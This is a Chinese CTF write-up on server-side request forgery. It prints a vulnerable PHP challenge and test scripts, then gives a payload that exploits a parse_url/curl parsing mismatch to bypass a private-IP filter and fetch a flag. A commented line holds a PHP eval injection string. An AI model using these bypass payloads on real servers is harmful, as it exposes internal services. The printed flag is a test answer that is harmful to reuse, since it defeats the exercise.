从0到1ctf——SSRF例题复现

作者 by Yichen / 2023-07-26 / 暂无评论 / 42 个足迹

SSRF概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

题目源码

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); //需存在形如http://hostname?参数 的一个url;
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=**parse_url**($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
//判断url是否是私有地址
}

function safe_request_url($url)
{

if (check_inner_ip($url)) //私有地址不予执行
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//这里加个curl_setopt函数参数解释: //https://www.cnblogs.com/lilyhomexl/p/6278921.html
$output = **curl_exec**($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}

$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}

?>

这段代码首先根据格式判断是否传入url,然后判断传入url的ip是否私有,若私有则不执行,判断中使用了parse_url($url)函数,测试代码如下

<?php
//$url="http://<script language='php'>eval($_GET[1]);/var/www/html/a.php";
$url="http://a:@127.0.0.1:80@baidu.com/flag.php";
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
/* 此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:


scheme – 如 http
host       域名(://后的字符)(或者@后面的字符)
port        端口
pass  
path   路径
query – 在问号 ? 之后
fragment – 在散列符号 # 之后
  此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
  注: 此函数对相对路径的 URL 不起作用。 */
//$url = 'http://username:password@hostname/path?arg=value#anchor';(正常的网址)
/*  [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor*/
?>

而之后的代码中使用了curl_exec()方法执行测试代码如下

<?php
$url = 'http://a:@127.0.0.1:80@baidu.com/flag.php';
print_r(parse_url($url));
echo "
";
$ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
print_r(curl_getinfo($ch));        
?>

因而构造payload:http://8.130.116.181:8233/challenge.php?url=http://a:@127.0.0.1:80@baidu.com/flag.php
如图所示屏幕截图 2023-07-26 121922.png屏幕截图 2023-07-26 123617.png
对于parse_url($url)函数第一个IP被判断为password,而baidu.com解析为域名绕过了私有ip判断,而curl_exec()方法在执行中取用了第一个ip,因此可以访问到当前网站中的文件,获取flag:
n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

独特见解